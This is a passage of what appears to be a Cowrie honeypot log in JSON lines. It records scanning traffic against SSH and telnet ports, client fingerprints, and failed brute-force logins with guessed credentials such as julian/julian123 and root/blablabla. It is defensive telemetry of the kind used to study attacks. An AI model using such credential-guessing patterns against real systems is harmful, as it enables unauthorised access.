{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:03.902109Z","src_ip":"167.86.95.8","session":"fa2c52653a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":51836,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a48d48ccfea","protocol":"ssh","message":"New connection: 43.173.85.181:51836 (10.17.0.5:22) [session: 2a48d48ccfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:05.138562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:05.143874Z","src_ip":"43.173.85.181","session":"2a48d48ccfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:05.212474Z","src_ip":"43.173.85.181","session":"2a48d48ccfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"qwerty","message":"login attempt [user1/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:05.517055Z","src_ip":"43.173.85.181","session":"2a48d48ccfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:06.588829Z","src_ip":"43.173.85.181","session":"2a48d48ccfea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":31151,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7007d8fd2c1","protocol":"ssh","message":"New connection: 213.209.159.56:31151 (10.17.0.5:22) [session: e7007d8fd2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:06.962673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:06.967813Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:07.343103Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian","message":"login attempt [julian/julian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:07.703571Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":40646,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc8ea30c72bd","protocol":"ssh","message":"New connection: 3.132.26.232:40646 (159.203.135.109:22) [session: fc8ea30c72bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:07.754072Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:07.760880Z","src_ip":"3.132.26.232","session":"fc8ea30c72bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:07.765601Z","src_ip":"3.132.26.232","session":"fc8ea30c72bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39114,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b266a21ced2","protocol":"telnet","message":"New connection: 152.42.224.71:39114 (10.17.0.5:23) [session: 8b266a21ced2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:07.890636Z"}
{"eventid":"cowrie.session.closed","duration":38.56812405586243,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:08.411801Z","src_ip":"152.42.224.71","session":"8750b822ff25","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian1","message":"login attempt [julian/julian1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:08.788265Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian123","message":"login attempt [julian/julian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:09.874241Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48377013206482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:09.909146Z","src_ip":"152.42.224.71","session":"f95f76400444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":58832,"dst_ip":"159.203.135.109","dst_port":22,"session":"2739c2d5e720","protocol":"ssh","message":"New connection: 87.251.79.125:58832 (159.203.135.109:22) [session: 2739c2d5e720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:10.088948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:10.093362Z","src_ip":"87.251.79.125","session":"2739c2d5e720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:10.164550Z","src_ip":"87.251.79.125","session":"2739c2d5e720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blablabla","message":"login attempt [root/blablabla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:10.378299Z","src_ip":"87.251.79.125","session":"2739c2d5e720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian1234","message":"login attempt [julian/julian1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:10.958966Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:11.451935Z","src_ip":"87.251.79.125","session":"2739c2d5e720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian12345","message":"login attempt [julian/julian12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:12.043204Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:13.128976Z","src_ip":"213.209.159.56","session":"e7007d8fd2c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39122,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e76540124d5","protocol":"telnet","message":"New connection: 152.42.224.71:39122 (10.17.0.5:23) [session: 2e76540124d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:15.236320Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50862,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a3c4d30e535","protocol":"telnet","message":"New connection: 152.42.224.71:50862 (10.17.0.5:23) [session: 1a3c4d30e535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:16.176234Z"}
{"eventid":"cowrie.session.closed","duration":42.340858459472656,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:16.557968Z","src_ip":"152.42.224.71","session":"d03f6e0ba91d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.807453632354736,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:16.938497Z","src_ip":"152.42.224.71","session":"6b0aee82646c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.51275062561035,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:19.046002Z","src_ip":"152.42.224.71","session":"5ed8d55cff58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.59605860710144,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:20.479694Z","src_ip":"152.42.224.71","session":"0519753a975f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.227876901626587,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:23.888820Z","src_ip":"152.42.224.71","session":"827ad848a418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50866,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c10501790f","protocol":"telnet","message":"New connection: 152.42.224.71:50866 (10.17.0.5:23) [session: 63c10501790f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:24.754349Z"}
{"eventid":"cowrie.session.closed","duration":46.69290590286255,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:25.385935Z","src_ip":"152.42.224.71","session":"b53e9602cc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.132.26.232","src_port":57930,"dst_ip":"159.203.135.109","dst_port":22,"session":"d45b4718110c","protocol":"ssh","message":"New connection: 3.132.26.232:57930 (159.203.135.109:22) [session: d45b4718110c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:26.609295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:26.747089Z","src_ip":"3.132.26.232","session":"d45b4718110c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:26.751872Z","src_ip":"3.132.26.232","session":"d45b4718110c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57916,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ffe01fc2c2","protocol":"telnet","message":"New connection: 152.42.224.71:57916 (10.17.0.5:23) [session: e1ffe01fc2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:27.660250Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57924,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb8c5ef1db1","protocol":"telnet","message":"New connection: 152.42.224.71:57924 (10.17.0.5:23) [session: ecb8c5ef1db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:28.173247Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57928,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5766fdb2146","protocol":"telnet","message":"New connection: 152.42.224.71:57928 (10.17.0.5:23) [session: c5766fdb2146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:29.216708Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57944,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40d55cf9eb2","protocol":"telnet","message":"New connection: 152.42.224.71:57944 (10.17.0.5:23) [session: f40d55cf9eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:29.944700Z"}
{"eventid":"cowrie.session.closed","duration":36.19639611244202,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:32.577967Z","src_ip":"152.42.224.71","session":"450879bfe4fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:36.964043Z","src_ip":"3.132.26.232","session":"d45b4718110c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57982,"dst_ip":"10.17.0.5","dst_port":23,"session":"60552b4cad23","protocol":"telnet","message":"New connection: 152.42.224.71:57982 (10.17.0.5:23) [session: 60552b4cad23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:42.635416Z"}
{"eventid":"cowrie.session.closed","duration":120.00430226325989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:46.413571Z","src_ip":"152.42.224.71","session":"4bb156f119d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905212879180908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:47.081310Z","src_ip":"152.42.224.71","session":"1a3c4d30e535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.627254486083984,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:47.838122Z","src_ip":"152.42.224.71","session":"61cd0eebad14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34950,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d42d3d35f6","protocol":"telnet","message":"New connection: 152.42.224.71:34950 (10.17.0.5:23) [session: 59d42d3d35f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:50.473179Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e7e6e21127d","protocol":"telnet","message":"New connection: 152.42.224.71:34954 (10.17.0.5:23) [session: 3e7e6e21127d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:52.378280Z"}
{"eventid":"cowrie.session.closed","duration":48.4362735748291,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:56.326795Z","src_ip":"152.42.224.71","session":"8b266a21ced2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96572160720825,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:51:58.201925Z","src_ip":"152.42.224.71","session":"2e76540124d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59986,"dst_ip":"10.17.0.5","dst_port":23,"session":"35f8500a56a4","protocol":"telnet","message":"New connection: 152.42.224.71:59986 (10.17.0.5:23) [session: 35f8500a56a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:01.210710Z"}
{"eventid":"cowrie.session.closed","duration":34.88298177719116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:04.099521Z","src_ip":"152.42.224.71","session":"c5766fdb2146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.78617715835571,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:09.540423Z","src_ip":"152.42.224.71","session":"63c10501790f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"f354d0930c05","protocol":"telnet","message":"New connection: 152.42.224.71:49368 (10.17.0.5:23) [session: f354d0930c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:13.858558Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49374,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66bf21e634b","protocol":"telnet","message":"New connection: 152.42.224.71:49374 (10.17.0.5:23) [session: b66bf21e634b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:15.778905Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39160,"dst_ip":"159.203.135.109","dst_port":22,"session":"1238319acdb0","protocol":"ssh","message":"New connection: 103.82.132.16:39160 (159.203.135.109:22) [session: 1238319acdb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:17.110965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:52:17.115722Z","src_ip":"103.82.132.16","session":"1238319acdb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-s